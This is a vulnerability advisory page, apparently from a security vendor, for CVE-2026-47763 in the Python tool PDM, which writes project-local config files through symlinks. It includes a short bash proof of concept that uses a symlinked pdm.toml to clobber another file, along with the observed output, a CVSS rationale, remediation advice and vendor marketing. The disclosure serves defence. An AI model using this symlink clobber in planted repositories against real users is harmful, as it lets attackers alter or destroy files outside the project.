Summary
PDM: Project-Local State and Config Writes Follow Symlinks
PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.
This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.
Affected Behavior
- Project-local config writes can affect files outside the repository
- The most stable demonstrated sink is
pdm.toml - Related sinks include
.pdm-pythonand.python-version
Affected Code
src/pdm/project/config.py:303-350src/pdm/project/core.py:209-217src/pdm/cli/commands/use.py:187-189
Technical Details
Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.
The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.
For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"
cat > "$target" <<'EOF'
[seed]
value = 1
EOF
ln -s "$target" "$tmpdir/pdm.toml"
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm config -l venv.in_project false
)
cat "$target"
Expected result:
- A temporary project is created
pdm.tomlis a symlink to another TOML file- Running
pdm config -l venv.in_project falsemodifies the symlink target
Observed output from local validation:
--- target ---
[seed]
value = 1
[venv]
in_project = false
Severity
Medium
CVSS v4.0
- Base score:
6.8(Medium) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation requires local execution ofpdmagainst an attacker-prepared checkoutAC:L: there is no complex constraint once the symlink sink existsAT:N: no extra prerequisite beyond the victim running the relevant command is requiredPR:N: the attacker does not need prior privileges on the victim systemUI:A: the victim must actively run a command that writes project-local state or configVC:N: the demonstrated issue is a write primitive, not a direct read primitiveVI:H: the attacker can cause unauthorized modification of files outside the repository rootVA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCESC:N/SI:N/SA:N: the base score is limited to the directly affected system
Root Cause
Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.
Recommended Remediation
- Refuse to write project-local config/state files when the destination is a symlink
- Use
lstatandO_NOFOLLOWwhere available - Avoid resolving attacker-controlled project-local paths before writing
- Use atomic temp-file replacement only after confirming the destination is a regular file
Disclosure Notes
This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.
Impact
- Arbitrary file clobber as the invoking user
- Destructive modification of local files outside the repository root
- Useful primitive for privilege abuse when
pdmis run in elevated contexts
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-47763? CVE-2026-47763 is a medium-severity security vulnerability in pdm (pip), affecting versions < 2.27.0. It is fixed in 2.27.0.
- Which versions of pdm are affected by CVE-2026-47763? pdm (pip) versions < 2.27.0 is affected.
- Is there a fix for CVE-2026-47763? Yes. CVE-2026-47763 is fixed in 2.27.0. Upgrade to this version or later.
- Is CVE-2026-47763 exploitable, and should I be worried? Whether CVE-2026-47763 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-47763 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-47763? Upgrade
pdmto 2.27.0 or later.